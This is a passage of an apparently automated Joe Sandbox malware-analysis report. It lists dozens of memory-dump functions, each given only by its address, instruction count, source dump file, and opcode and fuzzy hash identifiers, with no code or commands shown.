                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 3ce3c63d922fb453cbd1af86e805b6e8de7fed050018be25d144cfe25754bc1c
                                                                            • Instruction ID: a5114aadf09279e37d65f0b60c0fb1158fc6c3e1f53500d762877f268a3bdd9e
                                                                            • Opcode Fuzzy Hash: 3ce3c63d922fb453cbd1af86e805b6e8de7fed050018be25d144cfe25754bc1c
                                                                            • Instruction Fuzzy Hash: D2F01CB5D092089FCB05CF94D4816ECBFB1EB69311F14C1AAE84897352E6355A43DF80
                                                                            Function 046C7528 Relevance: .0, Instructions: 26COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1a9277ad1ed15e1a72608c8a1ad2d8e4491e652ffd80ff44067f10ad9d275c0b
                                                                            • Instruction ID: 18beb873128c36cfa789c29a11d435ceb76358192ba6960df982ce4ab13db0fb
                                                                            • Opcode Fuzzy Hash: 1a9277ad1ed15e1a72608c8a1ad2d8e4491e652ffd80ff44067f10ad9d275c0b
                                                                            • Instruction Fuzzy Hash: 41F06574909248AFC780DBB8E8856ECBFF4EB05319F5040EDD80897342EA319E46DB52
                                                                            Function 046C8D8C Relevance: .0, Instructions: 26COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5ce755172a28f5e4a2000f4ee153d5b66918d0ded90ec8601b537e1076bbcbb3
                                                                            • Instruction ID: 42c8facfca85b3a9d01d90b298a24653aed3ff97c60c798ef044f19c77442d37
                                                                            • Opcode Fuzzy Hash: 5ce755172a28f5e4a2000f4ee153d5b66918d0ded90ec8601b537e1076bbcbb3
                                                                            • Instruction Fuzzy Hash: 3AF07FB4A002588FCB64DF55C954BEDB7B5EF88304F1094DA890EA7241DB31AE8ACF15
                                                                            Function 046C60B8 Relevance: .0, Instructions: 26COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a732fe7d50d5842dfd5487fd83d7fd977d86fe1ee4ba005276daf4ab225de6a9
                                                                            • Instruction ID: 6dea1d4638f80a6aec6d10bee8457231f6a70d88b66bc0a0de6ce5013085e907
                                                                            • Opcode Fuzzy Hash: a732fe7d50d5842dfd5487fd83d7fd977d86fe1ee4ba005276daf4ab225de6a9
                                                                            • Instruction Fuzzy Hash: 73E0657890D208AFC701CF94E9419EDBF74EB55310F10D09ED84423351E6319E46D7A6
                                                                            Function 046CBC69 Relevance: .0, Instructions: 25COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: fa06da6bc4f8d0942aff9693116154406ee2817fedf43605628328f2c4f91fe7
                                                                            • Instruction ID: 331af9a2987a6308d98c69dc7297185ab112cfb0e6b74ec15be9549e6fc492b2
                                                                            • Opcode Fuzzy Hash: fa06da6bc4f8d0942aff9693116154406ee2817fedf43605628328f2c4f91fe7
                                                                            • Instruction Fuzzy Hash: 7FE0657490A204ABD704DB64F4429ACBB75DB42314F5085DDD45457361DE317E41C756
                                                                            Function 046C74A9 Relevance: .0, Instructions: 25COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 151c3bdcbbc89b72ab7331be968cc1c89a53ecdaf4b7bd5ab8e65e35fad59e16
                                                                            • Instruction ID: ec5aae9b1a7e3f705dc93c69345ff0e7869f92d248ed9de03a38887d753df8a9
                                                                            • Opcode Fuzzy Hash: 151c3bdcbbc89b72ab7331be968cc1c89a53ecdaf4b7bd5ab8e65e35fad59e16
                                                                            • Instruction Fuzzy Hash: CAE0207450D2049FC300D750E8425E5BF78E712315F1090DDD40943253FA339E03C755
                                                                            Function 046CCD28 Relevance: .0, Instructions: 25COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 873c238390e0546d61996b88e4aae34344371d09b3aeda7c2c153aca0b3b8954
                                                                            • Instruction ID: a6f787adcfbc1999123a2b2852bb1f9240431da6ecba78e4647de28ea8935149
                                                                            • Opcode Fuzzy Hash: 873c238390e0546d61996b88e4aae34344371d09b3aeda7c2c153aca0b3b8954
                                                                            • Instruction Fuzzy Hash: 7AE0E574909248DFC706DFE4D4405ACBF75EB46300F1490DEC84813352EA313E46EB50
                                                                            Function 046CAA57 Relevance: .0, Instructions: 25COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4f8979350c7b55cfa313879e98c32428fc51474af484956fe72d5ce3087417ea
                                                                            • Instruction ID: 32f0af7e87259fecd61b3eb0436646fed1b51fd7b23b6a23ee0506effbec3952
                                                                            • Opcode Fuzzy Hash: 4f8979350c7b55cfa313879e98c32428fc51474af484956fe72d5ce3087417ea
                                                                            • Instruction Fuzzy Hash: E5F09235A0510CEFCB45CFD8D941BACBBB1EB48311F14829EA85956391D6329A56EB80
                                                                            Function 046C1208 Relevance: .0, Instructions: 25COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b60cd1b95e9abf759ff4f8cc87ba3b8b2828c312e14b82c796c6c1cdca93c43c
                                                                            • Instruction ID: d73f0dda4b99aac070b1251de8ec63a2db982d851fd5d9f6a4614765e10bb8ea
                                                                            • Opcode Fuzzy Hash: b60cd1b95e9abf759ff4f8cc87ba3b8b2828c312e14b82c796c6c1cdca93c43c
                                                                            • Instruction Fuzzy Hash: 43F06D3850E2449FC705CBA4D5506E8BF74EF47304F1491D9C88897353D6316D57DB81
                                                                            Function 046C5438 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 8993cd4f27d952ca651ff2fc48d83c03cda86a724202c0859a91cf4e0083c3fd
                                                                            • Instruction ID: d46a1fe4ef1e2d97d9fb915acfcad690011d779d99d6bccb84eb20b26d806dd9
                                                                            • Opcode Fuzzy Hash: 8993cd4f27d952ca651ff2fc48d83c03cda86a724202c0859a91cf4e0083c3fd
                                                                            • Instruction Fuzzy Hash: 31E0D8B044A258AFC781EFB89C10AAE7FF4DF06310F0044DAD54597162ED765A00D7AB
                                                                            Function 046CA5C6 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 54b7359237dbc85befd93df633c9bcaf7dd415a14d256f1855f9a94db6f6546c
                                                                            • Instruction ID: 5b20231aab94f06238d4213d0d64a2f39878b9484abe21935b00f402bf4815df
                                                                            • Opcode Fuzzy Hash: 54b7359237dbc85befd93df633c9bcaf7dd415a14d256f1855f9a94db6f6546c
                                                                            • Instruction Fuzzy Hash: A4F0C474A00A68CFCBA4EF24CD98B99B7B1FB89305F1040E9850DAB745DB346E85DF40
                                                                            Function 046CB828 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 28afa66d6b73d054ab22c7d013720f2386bcbf077e5880433afc54b003909fb5
                                                                            • Instruction ID: f26ad1768e62552b3ec96e718df767fa4c4781a239690bef5d8e03d38af4f5a8
                                                                            • Opcode Fuzzy Hash: 28afa66d6b73d054ab22c7d013720f2386bcbf077e5880433afc54b003909fb5
                                                                            • Instruction Fuzzy Hash: 4AF0153490520CEFCB40CF98E841AACBBB9FB48310F10C0A9EC0863351D732AA61EF40
                                                                            Function 046C71F0 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1e65b969e69958ecfe30a6d298c0edb03e388597c3ada7608cd50b1500e3a895
                                                                            • Instruction ID: 8a4e6ff97d3fe7ca0b126eb4a3176b3b583ab4867e0bb9b00980cf3ec5abf497
                                                                            • Opcode Fuzzy Hash: 1e65b969e69958ecfe30a6d298c0edb03e388597c3ada7608cd50b1500e3a895
                                                                            • Instruction Fuzzy Hash: 3AE02274909208AFC300DBE8E8512F8BFB4FB06201F0040DEE84447382E6369E42CBA2
                                                                            Function 046C0B28 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: db01a23f18d0cb3248b2aadcac8da29a437b48e524a364085ce29dec862fa6b4
                                                                            • Instruction ID: 1e9a6abdc0dede5ae74b6421e50e66ab1c4929df366075559cea8250e28def25
                                                                            • Opcode Fuzzy Hash: db01a23f18d0cb3248b2aadcac8da29a437b48e524a364085ce29dec862fa6b4
                                                                            • Instruction Fuzzy Hash: E4E06D74909208DFC714DFE4E4825A9BFB4EB46308F1080DDD84957252D6355A42DB81
                                                                            Function 046C5B3A Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: da57a35136c830e76ce410bd504d4ea80e03f17aa1e21e88152ea75ec90b1e3f
                                                                            • Instruction ID: 7482238e411bb987301bbdf812e1b6f039639927e15b33d6097bbeb9b241419e
                                                                            • Opcode Fuzzy Hash: da57a35136c830e76ce410bd504d4ea80e03f17aa1e21e88152ea75ec90b1e3f
                                                                            • Instruction Fuzzy Hash: 4AE09A70D0A348EFC744EBB89890AACBFB4EB05700F1402E9C80993252EB306A46CB56
                                                                            Function 046C63B1 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9de15b5ba56c2512a308910d29e54b4812873236afc4ff9bd93ec9eda8b2ef1d
                                                                            • Instruction ID: dbd7644ababa27288c0fddfbf70ef4f09934c82747c3b4bded27d5b50081905a
                                                                            • Opcode Fuzzy Hash: 9de15b5ba56c2512a308910d29e54b4812873236afc4ff9bd93ec9eda8b2ef1d
                                                                            • Instruction Fuzzy Hash: 69E06D7490A208DFC705CB94E8819ACBBB0EB45304F1090DDC88953352D6716A07DB96
                                                                            Function 046C80A8 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: faf4e09052f78ec2029c8c2bff2811915e0f272a888a43401e6e6ed832e49da2
                                                                            • Instruction ID: 3a412d1274018f357770e54d4583a4351cb90edc5580ff7294376201db880eda
                                                                            • Opcode Fuzzy Hash: faf4e09052f78ec2029c8c2bff2811915e0f272a888a43401e6e6ed832e49da2
                                                                            • Instruction Fuzzy Hash: 9BE06538A0410CEBCB00EF94E840AADBF75FB48300F10819DEC0423361D732AA22EBA1
                                                                            Function 046C8890 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: faf4e09052f78ec2029c8c2bff2811915e0f272a888a43401e6e6ed832e49da2
                                                                            • Instruction ID: 360d5050fff48f3c81db6726f7a43a95b72decb7073d7ab03e68f5fdb7296878
                                                                            • Opcode Fuzzy Hash: faf4e09052f78ec2029c8c2bff2811915e0f272a888a43401e6e6ed832e49da2
                                                                            • Instruction Fuzzy Hash: A8E0653490510CEBCB00DF94EC80EEDBB75FB48301F1080A9EC04233A0D732AA22EB90
                                                                            Function 046CA9E0 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7ab338cb22c957112c25ca6af2d0cd5e2119281be30884a23f0a084ed512eecc
                                                                            • Instruction ID: 84440f4dcaa1eef3bb670faa6a146b8a648a5d9690546e670b3ea9bc1d02f6d1
                                                                            • Opcode Fuzzy Hash: 7ab338cb22c957112c25ca6af2d0cd5e2119281be30884a23f0a084ed512eecc
                                                                            • Instruction Fuzzy Hash: ACF0393490420CEFCB00CFD8D841AACBBB5EB48310F10C19DEC1852350D7329A51EB40
                                                                            Function 046C61D8 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1a2b06ae4b1d534369d82938b2d9ffcba040ca6fe48875f459685eead538daf0
                                                                            • Instruction ID: 357226a7eb57e87838b44d7a4531e0a9f1f1c80033ec7a0d9aaf4a12bd6eae03
                                                                            • Opcode Fuzzy Hash: 1a2b06ae4b1d534369d82938b2d9ffcba040ca6fe48875f459685eead538daf0
                                                                            • Instruction Fuzzy Hash: 6BE06D34908108AFCB40DF98D440ABCFFB8EB48301F10C1EAEC5893341D6319B52EB55
                                                                            Function 046C6B50 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4b8a52e917657bea0eeb3409ce7aa6ceeff1b16be11310b73cf821f1021a8b39
                                                                            • Instruction ID: 98803a703da93a1b0a6ebc4aac87425fb80079ced28eeee6c47f7ef4fe03967b
                                                                            • Opcode Fuzzy Hash: 4b8a52e917657bea0eeb3409ce7aa6ceeff1b16be11310b73cf821f1021a8b39
                                                                            • Instruction Fuzzy Hash: C0E0923490D2089FC704DB90E4859ACBFB0EB45304F1081DDD84457352E6716E06DBA5
                                                                            Function 071DBF98 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction ID: ae45d604f558e5c68d7fb72af4ef2329e36b425c7809519d0f935997f715a210
                                                                            • Opcode Fuzzy Hash: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction Fuzzy Hash: F0E0C9B4E09208EFCB54DFA8D440A9DFBF5EB48310F10C1A99809A3350D7319E51DF44
                                                                            Function 071DD980 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction ID: 72744040cb5cb6d6e448e4f94eb16a40a061f7fc324288b890760c397567620a
                                                                            • Opcode Fuzzy Hash: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction Fuzzy Hash: 7DE0C9B4E05208EFCB84DFA8E440A9DFBF5EB48310F10D1AA9858A3350D7329E51DF45
                                                                            Function 071DDFA0 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction ID: 8f681d672a17e065a2dec2d2eb2fc1df7267895ee22483550ce0c2d3a338d55d
                                                                            • Opcode Fuzzy Hash: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction Fuzzy Hash: E4E0C9B4E05208EFCB84DFA8E480A9CFBF4EB48310F10C1AA9858A3350D7319E52DF44
                                                                            Function 071DA9C8 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction ID: 3a544e51c94f1673d079a2afed2fb73beb885dc49bcccd7ec1d6445c3c9f37b3
                                                                            • Opcode Fuzzy Hash: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction Fuzzy Hash: 1EE0C9B4E05208EFCB44DFA8D841A9CBBF5EB48310F10C1A9A808A3351D7319E51DF45
                                                                            Function 071D60A0 Relevance: .0, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction ID: b78112df43c5e7b3bfd987781e2c31c892bec593a1549f89a17313e5ce0a4217
                                                                            • Opcode Fuzzy Hash: 6787189671e945dd0c09c417cd9b08b034b207c6700588d23cb8333d8d8e042c
                                                                            • Instruction Fuzzy Hash: 6EE0C9B4E05208EFCB84DFA8D440A9CBBF4EB48310F10C1A99818A3351D7319E51DF45
                                                                            Function 046C5EF8 Relevance: .0, Instructions: 22COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 908021e185baae60f5052c87b8abac9c1820599742694f37556d84b0b2b4befe
                                                                            • Instruction ID: 707740454114b988b13dafd35e76a7a2dd49dca9a646d2ff20f79850cde0a7fc
                                                                            • Opcode Fuzzy Hash: 908021e185baae60f5052c87b8abac9c1820599742694f37556d84b0b2b4befe
                                                                            • Instruction Fuzzy Hash: 4BE05274E05208AFCB84DFA8D9856ADBBF4EB48314F10C1A99819A3351E635AA42DF85
                                                                            Function 046C4E90 Relevance: .0, Instructions: 22COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1738318609.00000000046C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_46c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 908021e185baae60f5052c87b8abac9c1820599742694f37556d84b0b2b4befe
                                                                            • Instruction ID: 3ca60285a4ff0935c016d380d8e9518368d4d08424ba62e8aa5b2a9c3f6f5b64
                                                                            • Opcode Fuzzy Hash: 908021e185baae60f5052c87b8abac9c1820599742694f37556d84b0b2b4befe
                                                                            • Instruction Fuzzy Hash: 56E07574E05208EFCB84DFA8D5956ACBBF4EB48314F10C1E99818A3351EB35AA42DF95
                                                                            Function 071DF758 Relevance: .0, Instructions: 22COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b4718fd8ba6cc01bf97b330d1bd81d59ce6724776ae3632f1572f0ea7b0eb0e1
                                                                            • Instruction ID: bb5b9dd78f94ca3c490d8d3ee50bcdc587db3813d61b2c47d8fb5789b5455f08
                                                                            • Opcode Fuzzy Hash: b4718fd8ba6cc01bf97b330d1bd81d59ce6724776ae3632f1572f0ea7b0eb0e1
                                                                            • Instruction Fuzzy Hash: C5E0C974E05208AFCB44DFA8D44069CBBF4EB48300F10C1A9A81993390D7315E02CF40
                                                                            Function 071DA668 Relevance: .0, Instructions: 22COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1744128873.00000000071C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_71c0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b4718fd8ba6cc01bf97b330d1bd81d59ce6724776ae3632f1572f0ea7b0eb0e1
                                                                            • Instruction ID: 27957c43ba639963b39877538b07df8534e0531a59b9723448318fda49143c45
                                                                            • Opcode Fuzzy Hash: b4718fd8ba6cc01bf97b330d1bd81d59ce6724776ae3632f1572f0ea7b0eb0e1
                                                                            • Instruction Fuzzy Hash: 77E0C2B4E05208EFCB84DFE8D4806ACBBF8EB48300F10C1A99808A3380D7359E02DF80
                                                                            Function 00CD09A8 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: a5cd5251be00fbb9ed749723f136e2ef5d76fa348e6bc1131bdbb8734a89a928
                                                                            • Instruction ID: b9daa3ec09444206930c727cd658026a5aacb5eb02090667a78225fbede05967
                                                                            • Opcode Fuzzy Hash: a5cd5251be00fbb9ed749723f136e2ef5d76fa348e6bc1131bdbb8734a89a928
                                                                            • Instruction Fuzzy Hash: 99E02C9288F3C42FCF02A3704C3C3983F200B52224B2980CEE980CF193F4684806C786
                                                                            Function 00CDEAB0 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000000.00000002.1715623367.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_0_2_cd0000_________.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
